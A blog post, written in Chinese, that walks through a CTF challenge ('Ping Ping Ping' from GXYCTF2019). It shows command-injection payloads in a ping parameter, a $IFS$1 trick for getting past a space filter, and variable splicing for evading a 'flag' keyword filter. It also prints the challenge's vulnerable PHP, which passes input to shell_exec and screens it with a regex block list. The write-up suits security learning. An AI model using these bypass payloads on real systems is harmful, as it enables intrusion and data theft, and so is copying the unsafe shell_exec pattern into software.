Vinson's Blog

记录生活中的点点滴滴

0%

GXYCTF2019Ping Ping Ping

Ping Ping Ping

打开题目发现只有简单的/?ip
题目
根据题目ping ping ping 猜测要ping ip 然后在url里尝试构造payload

1
/?ip=127.0.0.1

回显1
提示有回显 我们构造一下payload让他列出文件

1
/?ip=127.0.0.1|ls

文件
发现有两个php文件,Flag大概率在flag.php文件内 所以我们列出文件内容

1
/?ip=127.0.0.1|cat flag.php

过滤1
发现空格被过滤了
空格绕过$IFS$1 然后我们在构造一下payload

1
/?ip=127.0.0.1|cat$IFS$1flag.php

过滤2
发现还有东西被过滤了我们在去看一下另一个index.php文件,有些文字被注释掉了,所以我们直接查看源码

1
/?ip=127.0.0.1|cat$IFS$1index.php

index

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/?ip=
<pre>/?ip=
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>

发现过滤了很多东西 常规的访问flag.php的方法是不行的 发现代码内有$a 可以进行变量覆盖 然后我们构造payload

1
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

回显后是空白页面是因为出题人把flag注释了,所以我们直接查看源码就可以获取到flag
flag